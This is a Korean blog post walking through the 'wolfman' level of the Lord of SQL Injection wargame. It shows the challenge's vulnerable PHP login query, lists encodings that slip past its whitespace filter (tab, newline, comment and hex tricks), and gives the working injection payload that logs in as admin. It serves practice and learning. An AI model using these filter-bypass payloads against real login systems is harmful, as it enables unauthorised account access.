IT보안관의 공부 클라우드

[los]wolfman 본문

워게임/los

[los]wolfman

ㅡㅡㅡㅡㄷ 2021. 5. 17. 19:30
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

 

1. login_chk()
2. preg_match : prob _ . ( ) whitespace

이것들을 우회해서 admin row를 불러와야 함.
현재 id='geust' 고정
공백을 우회하는데에는 여러가지 방법이 존재한다.
%09 %0a %0b %0c %0d %a0 () /**/ 
등의 방법으로 우회할수 있고 싱글쿼터또한 
0x헥스방식으로 우회할수 있다.
query : select id from prob_wolfman where id='guest' and pw=''

?pw=1'%09or%09id='admin

'워게임 > los' 카테고리의 다른 글

[los]troll  (0) 2021.05.28
[los]orge  (0) 2021.05.25
[los]darkelf  (0) 2021.05.21
[los]orc  (0) 2021.03.25
[los]gremlin  (0) 2021.03.23
Comments